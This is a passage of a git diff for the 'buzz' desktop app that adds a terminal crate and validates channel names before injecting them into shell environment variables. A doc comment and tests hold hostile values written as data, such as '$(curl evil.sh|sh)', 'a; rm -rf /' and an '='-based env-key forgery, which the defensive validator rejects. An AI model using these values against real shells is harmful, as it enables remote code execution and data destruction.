`NoopTracer`: the `communities_of_channels` lookup below is a + // `channels` read whose only consumer is `record_read_message_rows`, + // and this emit runs once PER FILTER. Gating on `trace_state` alone was + // not enough — that is `Some` for every well-formed request. + if let Some(state_snap) = trace_state.as_ref().filter(|_| state.tracer.enabled()) { let row_channels: Vec> = events.iter().map(|e| e.channel_id).collect(); let distinct: Vec = { @@ -659,7 +664,9 @@ async fn handle_search_req( // level isn't bound to a single channel filter, the // per-row `channel_id` carries the channel identity // honestly. - if let Some(state_snap) = trace_state { + // Same `enabled()` gate as the non-search lane: skip the + // trace-only `channels` lookup when nothing observes the emit. + if let Some(state_snap) = trace_state.filter(|_| state.tracer.enabled()) { let row_channels: Vec> = events.iter().map(|e| e.channel_id).collect(); let distinct: Vec = { diff --git a/desktop/package.json b/desktop/package.json index e8145f5468..036533308c 100644 --- a/desktop/package.json +++ b/desktop/package.json @@ -1,7 +1,7 @@ { "name": "buzz", "private": true, - "version": "0.5.3", + "version": "0.5.4", "type": "module", "scripts": { "dev": "vite", @@ -30,6 +30,7 @@ "@emoji-mart/data": "^1.2.1", "@emoji-mart/react": "^1.1.1", "@fontsource-variable/inter": "^5.2.8", + "@fontsource/jetbrains-mono": "^5.3.0", "@mediapipe/tasks-vision": "^0.10.35", "@radix-ui/react-alert-dialog": "^1.1.15", "@radix-ui/react-avatar": "^1.1.11", @@ -90,9 +91,11 @@ "@tanstack/router-plugin": "^1.167.12", "@tanstack/virtual-file-routes": "^1.161.7", "@tauri-apps/cli": "~2.11", + "@testing-library/react": "^16.3.2", "@types/react": "^19.1.8", "@types/react-dom": "^19.1.6", "@vitejs/plugin-react": "^6.0.0", + "jsdom": "^27.4.0", "nostr-tools": "^2.23.3", "postcss": "^8.5.8", "tailwindcss": "^4.3.0", diff --git a/desktop/playwright.config.ts b/desktop/playwright.config.ts index ec4c659347..9fa7fb4d6a 100644 --- a/desktop/playwright.config.ts +++ b/desktop/playwright.config.ts @@ -45,6 +45,7 @@ export default defineConfig({ "**/channel-mute.spec.ts", "**/channel-star.spec.ts", "**/channel-controls.spec.ts", + "**/channel-activity-popover.spec.ts", "**/active-turn-resilience.spec.ts", "**/profile-active-turn.spec.ts", "**/config-bridge-screenshots.spec.ts", @@ -97,6 +98,7 @@ export default defineConfig({ "**/live-broadcast-reply-timeline.spec.ts", "**/markdown-parse-cache.spec.ts", "**/overscroll-boundary.spec.ts", + "**/terminal-wheel.spec.ts", "**/cold-switch-longtask.perf.ts", "**/timeline-no-shift.spec.ts", "**/human-edit-agent-content.spec.ts", @@ -130,13 +132,17 @@ export default defineConfig({ "**/agent-provider-dropdowns.spec.ts", "**/agent-lifecycle-feedback.spec.ts", "**/agent-access-warning.spec.ts", + "**/edit-agent-run-on.spec.ts", "**/inbox-live-update.spec.ts", "**/mesh-compute.spec.ts", "**/observer-archive-policy.spec.ts", "**/harness-management.spec.ts", "**/harness-catalog-screenshots.spec.ts", "**/inline-custom-harness.spec.ts", + "**/where-to-run-config.spec.ts", "**/huddle-transcription.spec.ts", + "**/agent-numeric-tuning.spec.ts", + "**/needs-restart-screenshots.spec.ts", ], use: { ...devices["Desktop Chrome"], diff --git a/desktop/scripts/check-file-sizes.mjs b/desktop/scripts/check-file-sizes.mjs index 326587b87f..bfe4fcc857 100644 --- a/desktop/scripts/check-file-sizes.mjs +++ b/desktop/scripts/check-file-sizes.mjs @@ -9,6 +9,14 @@ const MAX_LINES = 1000; const rules = [ { root: "src-tauri/src", extensions: new Set([".rs"]), maxLines: MAX_LINES }, + // Workspace member crates. Without this the ratchet's only Rust root is + // `src-tauri/src`, and a crate under `src-tauri/crates/` is born outside the + // repo's one size discipline -- silently, since the check still exits 0. + { + root: "src-tauri/crates", + extensions: new Set([".rs"]), + maxLines: MAX_LINES, + }, { root: "src/app", extensions: new Set([".ts", ".tsx"]), diff --git a/desktop/src-tauri/Cargo.lock b/desktop/src-tauri/Cargo.lock index 9feecbee01..da80c5b07a 100644 --- a/desktop/src-tauri/Cargo.lock +++ b/desktop/src-tauri/Cargo.lock @@ -98,6 +98,30 @@ dependencies = [ "memchr", ] +[[package]] +name = "alacritty_terminal" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bda177466b9524d59f1b12f0dd30b68696788e9992a7e959021c4a0ed96fcf59" +dependencies = [ + "base64 0.22.1", + "bitflags 2.13.0", + "home", + "libc", + "log", + "miow", + "parking_lot", + "piper", + "polling", + "regex-automata", + "rustix 1.1.4", + "rustix-openpty", + "signal-hook 0.4.4", + "unicode-width 0.2.2", + "vte 0.15.0", + "windows-sys 0.59.0", +] + [[package]] name = "alloc-no-stdlib" version = "2.0.4" @@ -1036,7 +1060,7 @@ dependencies = [ [[package]] name = "buzz-desktop" -version = "0.5.3" +version = "0.5.4" dependencies = [ "anyhow", "arboard", @@ -1050,6 +1074,7 @@ dependencies = [ "buzz-media", "buzz-persona", "buzz-sdk", + "buzz-terminal", "buzz-voice", "bytes", "bzip2 0.6.1", @@ -1082,6 +1107,7 @@ dependencies = [ "opus", "plist", "png 0.18.1", + "portable-pty", "regex", "reqwest 0.13.4", "rodio", @@ -1176,6 +1202,16 @@ dependencies = [ "uuid", ] +[[package]] +name = "buzz-terminal" +version = "0.1.0" +dependencies = [ + "alacritty_terminal", + "libc", + "parking_lot", + "portable-pty", +] + [[package]] name = "buzz-voice" version = "0.1.0" @@ -1392,6 +1428,12 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + [[package]] name = "cfg_aliases" version = "0.2.1" @@ -1884,7 +1926,7 @@ dependencies = [ "mio", "parking_lot", "rustix 0.38.44", - "signal-hook", + "signal-hook 0.3.18", "signal-hook-mio", "winapi", ] @@ -1902,7 +1944,7 @@ dependencies = [ "mio", "parking_lot", "rustix 1.1.4", - "signal-hook", + "signal-hook 0.3.18", "signal-hook-mio", "winapi", ] @@ -2069,6 +2111,12 @@ dependencies = [ "cmov", ] +[[package]] +name = "cursor-icon" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f27ae1dd37df86211c42e150270f82743308803d90a6f6e6651cd730d5e1732f" + [[package]] name = "curve25519-dalek" version = "4.1.3" @@ -2587,7 +2635,7 @@ dependencies = [ "rustc_version", "toml 1.1.2+spec-1.1.0", "vswhom", - "winreg", + "winreg 0.55.0", ] [[package]] @@ -4266,7 +4314,7 @@ dependencies = [ "backon", "blake3", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "ctutils", "data-encoding", "derive_more", @@ -4334,7 +4382,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a" dependencies = [ "arc-swap", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "hickory-resolver", "iroh-base", @@ -4386,7 +4434,7 @@ checksum = "8149bb6a57126225a07d6928846d82dcedfd24ea0f863ef7b2eb475e1d726354" dependencies = [ "blake3", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "data-encoding", "derive_more", "getrandom 0.4.3", @@ -5587,6 +5635,15 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "miow" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "536bfad37a309d62069485248eeaba1e8d9853aaf951caaeaed0585a95346f08" +dependencies = [ + "windows-sys 0.61.2", +] + [[package]] name = "model-artifact" version = "0.74.0" @@ -5779,7 +5836,7 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "futures-buffered", "futures-lite", @@ -5969,7 +6026,7 @@ checksum = "4d9cbe01741347ef750d743d6690603f5eed8341e679fb51c8e629337aa11976" dependencies = [ "atomic-waker", "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "ipnet", "js-sys", @@ -6004,6 +6061,18 @@ version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" +[[package]] +name = "nix" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4" +dependencies = [ + "bitflags 2.13.0", + "cfg-if 1.0.4", + "cfg_aliases 0.1.1", + "libc", +] + [[package]] name = "nix" version = "0.29.0" @@ -6012,7 +6081,7 @@ checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "memoffset", ] @@ -6025,7 +6094,7 @@ checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", ] @@ -6037,7 +6106,7 @@ checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" dependencies = [ "bitflags 2.13.0", "cfg-if 1.0.4", - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", ] @@ -6067,7 +6136,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89" dependencies = [ "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "derive_more", "noq-proto", "noq-udp", @@ -6115,7 +6184,7 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "socket2", "tracing", @@ -7427,6 +7496,27 @@ dependencies = [ "portable-atomic", ] +[[package]] +name = "portable-pty" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "downcast-rs", + "filedescriptor", + "lazy_static", + "libc", + "log", + "nix 0.28.0", + "serial2", + "shared_library", + "shell-words", + "winapi", + "winreg 0.10.1", +] + [[package]] name = "portmapper" version = "0.19.1" @@ -7882,7 +7972,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8" dependencies = [ "bytes", - "cfg_aliases", + "cfg_aliases 0.2.1", "pin-project-lite", "quinn-proto", "quinn-udp", @@ -7924,7 +8014,7 @@ version = "0.5.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694" dependencies = [ - "cfg_aliases", + "cfg_aliases 0.2.1", "libc", "once_cell", "socket2", @@ -8663,6 +8753,17 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "rustix-openpty" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1de16c7c59892b870a6336f185dc10943517f1327447096bbb7bb32cd85e2393" +dependencies = [ + "errno", + "libc", + "rustix 1.1.4", +] + [[package]] name = "rustls" version = "0.23.42" @@ -9208,6 +9309,17 @@ dependencies = [ "serde", ] +[[package]] +name = "serial2" +version = "0.2.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730" +dependencies = [ + "cfg-if 1.0.4", + "libc", + "windows-sys 0.61.2", +] + [[package]] name = "serialize-to-javascript" version = "0.1.2" @@ -9308,6 +9420,22 @@ dependencies = [ "lazy_static", ] +[[package]] +name = "shared_library" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11" +dependencies = [ + "lazy_static", + "libc", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + [[package]] name = "shellexpand" version = "3.1.2" @@ -9357,6 +9485,16 @@ dependencies = [ "signal-hook-registry", ] +[[package]] +name = "signal-hook" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a0c28ca5908dbdbcd52e6fdaa00358ab88637f8ab33e1f188dd510eb44b53d" +dependencies = [ + "libc", + "signal-hook-registry", +] + [[package]] name = "signal-hook-mio" version = "0.2.5" @@ -9365,7 +9503,7 @@ checksum = "b75a19a7a740b25bc7944bdee6172368f988763b744e3d4dfe753f6b4ece40cc" dependencies = [ "libc", "mio", - "signal-hook", + "signal-hook 0.3.18", ] [[package]] @@ -9721,7 +9859,7 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2a8f8038e7e7969abb3f1b7c2a811225e9296da208539e0f79c5251d6cac0025" dependencies = [ - "vte", + "vte 0.14.1", ] [[package]] @@ -10583,7 +10721,7 @@ dependencies = [ "bitflags 2.13.0", "parking_lot", "rustix 1.1.4", - "signal-hook", + "signal-hook 0.3.18", "windows-sys 0.61.2", ] @@ -10634,7 +10772,7 @@ dependencies = [ "pest_derive", "phf 0.11.3", "sha2 0.10.9", - "signal-hook", + "signal-hook 0.3.18", "siphasher", "terminfo", "termios", @@ -11763,6 +11901,19 @@ dependencies = [ "memchr", ] +[[package]] +name = "vte" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5924018406ce0063cd67f8e008104968b74b563ee1b85dde3ed1f7cb87d3dbd" +dependencies = [ + "arrayvec", + "bitflags 2.13.0", + "cursor-icon", + "log", + "memchr", +] + [[package]] name = "vtparse" version = "0.6.2" @@ -12833,6 +12984,15 @@ dependencies = [ "memchr", ] +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + [[package]] name = "winreg" version = "0.55.0" diff --git a/desktop/src-tauri/Cargo.toml b/desktop/src-tauri/Cargo.toml index fd58f27878..3b97ff1fe9 100644 --- a/desktop/src-tauri/Cargo.toml +++ b/desktop/src-tauri/Cargo.toml @@ -1,8 +1,13 @@ [workspace] +# Explicit: membership must NOT be inferred from the path-dependency edge below. +# With a bare `[workspace]` and no `members`, `cargo test/check --workspace` +# expands to a set that excludes this crate, and its gates pass green-and-empty +# over a real defect. Verified: Sami Arm A/D, Dawn `.scratch/armA`. +members = ["crates/buzz-terminal"] [package] name = "buzz-desktop" -version = "0.5.3" +version = "0.5.4" description = "Buzz desktop app" authors = ["you"] edition = "2021" @@ -100,6 +105,8 @@ buzz_persona_pkg = { package = "buzz-persona", path = "../../crates/buzz-persona buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" } buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" } buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" } +buzz_terminal = { package = "buzz-terminal", path = "crates/buzz-terminal" } +portable-pty = "0.9" iroh = { version = "1.0.2", optional = true } mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true } mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"], optional = true } diff --git a/desktop/src-tauri/capabilities/default.json b/desktop/src-tauri/capabilities/default.json index 8835b29dec..a2e09bcb33 100644 --- a/desktop/src-tauri/capabilities/default.json +++ b/desktop/src-tauri/capabilities/default.json @@ -1,8 +1,8 @@ { "$schema": "../gen/schemas/desktop-schema.json", "identifier": "default", - "description": "Capability for the main window", - "windows": ["main"], + "description": "Capability for the main window and trusted huddle companions", + "windows": ["main", "huddle-*"], "permissions": [ "core:default", "core:webview:allow-set-webview-zoom", diff --git a/desktop/src-tauri/crates/buzz-terminal/Cargo.toml b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml new file mode 100644 index 0000000000..070fda80a6 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "buzz-terminal" +version = "0.1.0" +edition = "2021" +license = "Apache-2.0" + +[dependencies] +alacritty_terminal = { version = "0.26.0", default-features = false } +parking_lot = "0.12" +portable-pty = "0.9" + +[target.'cfg(unix)'.dependencies] +libc = "0.2" + +[dev-dependencies] +# Tests reach into the grid to prove content survived a frame. +alacritty_terminal = { version = "0.26.0", default-features = false } +parking_lot = "0.12" diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context.rs b/desktop/src-tauri/crates/buzz-terminal/src/context.rs new file mode 100644 index 0000000000..012fbb4e65 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/context.rs @@ -0,0 +1,103 @@ +//! GUI context injected into the child shell. +//! +//! The terminal knows which channel and thread the user is looking at, so a +//! script in the substrate can act on it. That context crosses a trust +//! boundary: a channel *name* is attacker-controlled — anyone who can create +//! a channel picks the string — and it lands in an environment variable that +//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a +//! channel named `$(curl evil.sh|sh)` into command execution the moment the +//! user opens a terminal. +//! +//! Two rules follow, and the second one is the load-bearing one: +//! +//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an +//! endless negotiation with an attacker who chooses the input. We accept a +//! conservative character class and reject everything else. +//! 2. **On rejection, substitute — never strip.** A stripped name is still a +//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes +//! `evil`, which looks like a real channel. We substitute the channel UUID, +//! which is unambiguous, always safe, and visibly not a name — the user can +//! tell something was replaced. + +/// Maximum accepted channel-name length, in characters. +const MAX_CHANNEL_NAME_CHARS: usize = 64; + +/// The GUI state a spawned terminal is told about. +#[derive(Debug, Clone)] +pub struct GuiContext { + pub channel_id: String, + pub channel_name: String, + pub thread_id: Option, + pub npub: String, + pub relay_url: String, + pub session_id: String, +} + +/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`. +/// +/// Unicode letters, digits and marks are accepted so non-Latin channel names +/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to — +/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the +/// class and therefore rejected rather than removed. +fn is_safe_channel_name(name: &str) -> bool { + !name.is_empty() + && name.chars().count() <= MAX_CHANNEL_NAME_CHARS + && name + .chars() + .all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.')) +} + +/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise +/// the channel UUID. +pub fn channel_display(context: &GuiContext) -> &str { + if is_safe_channel_name(&context.channel_name) { + &context.channel_name + } else { + &context.channel_id + } +} + +/// Returns true if `key` is a well-formed POSIX env var name: +/// `[A-Za-z_][A-Za-z0-9_]*`. +/// +/// Mirrors `is_well_formed_env_key` in the desktop crate +/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here: +/// `CommandBuilder::env` will pass a key containing `=` straight into the +/// child's environ block, where `getenv("FOO")` matches whatever follows the +/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as +/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to +/// forge a variable the fence otherwise controls. +/// +/// Every key we inject is a compile-time literal today, so this cannot fire +/// yet. It is here because the *next* injected key may not be: the check +/// belongs at the boundary, not in the reviewer's memory. +pub fn is_well_formed_env_key(key: &str) -> bool { + let mut chars = key.chars(); + match chars.next() { + Some(c) if c == '_' || c.is_ascii_alphabetic() => {} + _ => return false, + } + chars.all(|c| c == '_' || c.is_ascii_alphanumeric()) +} + +/// The context variables to inject, in order. +/// +/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is +/// always the UUID, so a script that needs an unambiguous identifier has one +/// that no channel name can spoof. +pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> { + let mut vars = vec![ + ("BUZZ_CHANNEL_ID", context.channel_id.clone()), + ("BUZZ_CHANNEL", channel_display(context).to_owned()), + ("BUZZ_NPUB", context.npub.clone()), + ("BUZZ_RELAY_URL", context.relay_url.clone()), + ("BUZZ_TERM_SESSION", context.session_id.clone()), + ("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()), + ]; + // Absent rather than empty when the user is not in a thread: `-n + // "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree. + if let Some(thread_id) = &context.thread_id { + vars.push(("BUZZ_THREAD_ID", thread_id.clone())); + } + vars +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs new file mode 100644 index 0000000000..1c48c8e78a --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs @@ -0,0 +1,139 @@ +//! T-1: the channel name is attacker-controlled and reaches a shell. + +use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext}; + +const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b"; + +fn context_named(channel_name: &str) -> GuiContext { + GuiContext { + channel_id: UUID.to_owned(), + channel_name: channel_name.to_owned(), + thread_id: None, + npub: "npub1example".to_owned(), + relay_url: "wss://relay.example".to_owned(), + session_id: "session-1".to_owned(), + } +} + +/// Ordinary names survive intact, including non-Latin scripts. A validator +/// that rejected these would be "safe" and useless. +#[test] +fn benign_channel_names_pass_through_unchanged() { + for name in [ + "buzz-tui", + "General Chat", + "release_2.0", + "日本語チャンネル", + "Ünicode Ñames", + ] { + let context = context_named(name); + assert_eq!(channel_display(&context), name, "rejected a benign name"); + } +} + +/// Shell metacharacters are rejected — and the substitute is the UUID, not a +/// stripped name. Stripping would turn `$(evil)` into `evil`, which is +/// indistinguishable from a real channel called `evil`. +#[test] +fn hostile_channel_names_are_replaced_by_the_uuid() { + for name in [ + "$(curl evil.sh|sh)", + "`id`", + "a; rm -rf /", + "a\nPS1=pwned", + "a$IFS$9", + "x=y", + "'; echo pwned; '", + "a\0b", + ] { + let context = context_named(name); + let shown = channel_display(&context); + assert_eq!( + shown, UUID, + "hostile name was not replaced by the UUID: {name:?} -> {shown:?}" + ); + } +} + +/// The substitution must be *whole*, not a filtered version of the input. A +/// strip-sanitizer passes the "no metacharacters" check while still echoing +/// attacker-chosen text. +#[test] +fn rejection_substitutes_rather_than_strips() { + let context = context_named("$(curl evil.sh|sh)"); + let shown = channel_display(&context); + assert!( + !shown.contains("curl") && !shown.contains("evil"), + "attacker-chosen text survived rejection: {shown:?}" + ); +} + +/// Over-long names are rejected: an env var is not a place for unbounded +/// attacker input, and a 10 KB prompt is its own denial of service. +#[test] +fn over_long_channel_names_are_replaced() { + let context = context_named(&"a".repeat(65)); + assert_eq!(channel_display(&context), UUID); + let ok = context_named(&"a".repeat(64)); + assert_eq!(channel_display(&ok), "a".repeat(64)); +} + +/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no +/// channel name can spoof — including a channel *named* like a UUID. +#[test] +fn channel_id_is_never_the_name() { + let context = context_named("11111111-2222-3333-4444-555555555555"); + let vars = context_vars(&context); + let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap(); + assert_eq!( + id.1, UUID, + "a UUID-shaped channel name displaced the real id" + ); +} + +/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree. +#[test] +fn thread_id_is_absent_when_there_is_no_thread() { + let vars = context_vars(&context_named("buzz-tui")); + assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID")); + + let mut context = context_named("buzz-tui"); + context.thread_id = Some("thread-1".to_owned()); + let vars = context_vars(&context); + assert_eq!( + vars.iter() + .find(|(k, _)| *k == "BUZZ_THREAD_ID") + .map(|(_, v)| v.as_str()), + Some("thread-1") + ); +} + +/// Every injected key must be POSIX-shaped. A key containing `=` would let +/// the value forge a second variable in the child's environ block. +#[test] +fn every_injected_key_is_well_formed() { + for (key, _) in context_vars(&context_named("buzz-tui")) { + assert!( + is_well_formed_env_key(key), + "malformed injected key: {key:?}" + ); + } +} + +/// The guard itself, including the bypass shape it exists for. +#[test] +fn well_formed_key_rejects_the_equals_bypass() { + for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] { + assert!(is_well_formed_env_key(good), "rejected {good:?}"); + } + for bad in [ + "BUZZ_CHANNEL=x", + "", + "1LEADING_DIGIT", + "HAS SPACE", + "HAS\0NUL", + "kebab-case", + ] { + assert!(!is_well_formed_env_key(bad), "accepted {bad:?}"); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/damage.rs b/desktop/src-tauri/crates/buzz-terminal/src/damage.rs new file mode 100644 index 0000000000..0cc41e1685 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/damage.rs @@ -0,0 +1,483 @@ +//! Turning grid changes into frames for the renderer. +//! +//! Two rules shape this module, both measured: +//! +//! 1. **Nothing but reading and copying happens under the `Term` lock.** The +//! caller copies rows out; encoding, hashing and serializing run after the +//! lock is released. Encoding inline costs ~75x in lock hold. +//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every +//! call, so an idle terminal reports damage nearly every frame. Per-line +//! content hashing suppresses those, so the transport never sees a no-op. +//! +//! # Why a frame is the whole viewport +//! +//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls +//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom +//! row damages the whole grid. Partial damage is effectively the idle cursor. +//! +//! That is fine, and the reason is worth having here rather than in a review +//! thread. A full frame is O(viewport) *by construction* -- the grid is itself +//! the coalescing buffer -- so its cost does not depend on how fast the child +//! writes. Measured on a 200x50 grid, bytes per frame across four orders of +//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines +//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a +//! slow build log. Constant to three digits. +//! +//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded, +//! and at 45,759 lines/frame it would ship ~915x more data than the full grid +//! it was optimising. It wins where nobody is watching and loses under `cat`. +//! +//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at +//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s). +//! 400x100 is roughly 4x a typical maximised window and is where this decision +//! should be re-measured -- as a serialization/IPC question, not a damage one. +//! +//! Dedup earns its place in the interactive case rather than the streaming one: +//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across +//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing +//! one -- it is what the substrate does while sitting behind the GUI untouched. + +use std::collections::hash_map::DefaultHasher; +use std::hash::{Hash, Hasher}; + +use alacritty_terminal::grid::Dimensions; +use alacritty_terminal::index::{Column, Line}; +use alacritty_terminal::term::cell::{Cell, Flags}; +use alacritty_terminal::term::TermDamage; + +/// A run of cells sharing one visual style **and one cell width**. +/// +/// # Why the consumer can position every cluster without Unicode tables +/// +/// The renderer must place each display cluster at its true column, and it +/// cannot derive that from the text: no single split rule over a concatenated +/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two +/// ordinary one-column cells, so it must split *per codepoint*; a keycap +/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split +/// *per grapheme*. Those rules disagree, and the distinction lives in the grid, +/// not in the string. +/// +/// So the run carries it instead. Within a span every cluster advances the same +/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count) +/// says how many clusters the text holds. The consumer's rule is arithmetic on +/// those two numbers, with no Unicode table anywhere: +/// +/// ```text +/// cluster_count == 1 -> the whole text is one cluster, at `column` +/// otherwise -> cluster i is the i-th char, at `column + i * width` +/// ``` +/// +/// The second case is exact because a cell carrying zerowidth marks is always +/// emitted alone, so every cell in a multi-cluster span contributes exactly one +/// `char`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Span { + /// First column of the run. + pub column: usize, + /// The run's text. Grapheme clusters are kept whole: a cell's zerowidth + /// combining marks follow its base character, so the renderer never sees + /// a base and its accent as separate glyphs. + pub text: String, + /// Columns each cluster in this run occupies: 1, or 2 for wide glyphs. + /// + /// Uniform across the run by construction -- a width change ends the span. + /// This is what lets the consumer position clusters by computed origin + /// rather than by accumulated text advance. + pub width: u8, + /// How many display clusters [`text`](Self::text) holds. + /// + /// Without this the consumer cannot distinguish a one-cluster span carrying + /// combining marks from an ordinary multi-character run, and would need a + /// Unicode zerowidth table to guess. The grid already knows, so it says. + pub cluster_count: u16, + /// Packed style: fg, bg, and attribute flags. + pub style: Style, +} + +impl Span { + /// The decoding invariant, stated once: a span is either a single cluster + /// (which may hold several `char`s, as a keycap or an accented letter + /// does) or one cluster per `char`. + /// + /// Exposed so consumers can assert it at a trust boundary rather than + /// restate it. The encoder checks it in debug builds on every frame. + pub fn counts_are_consistent(&self) -> bool { + self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count() + } +} + 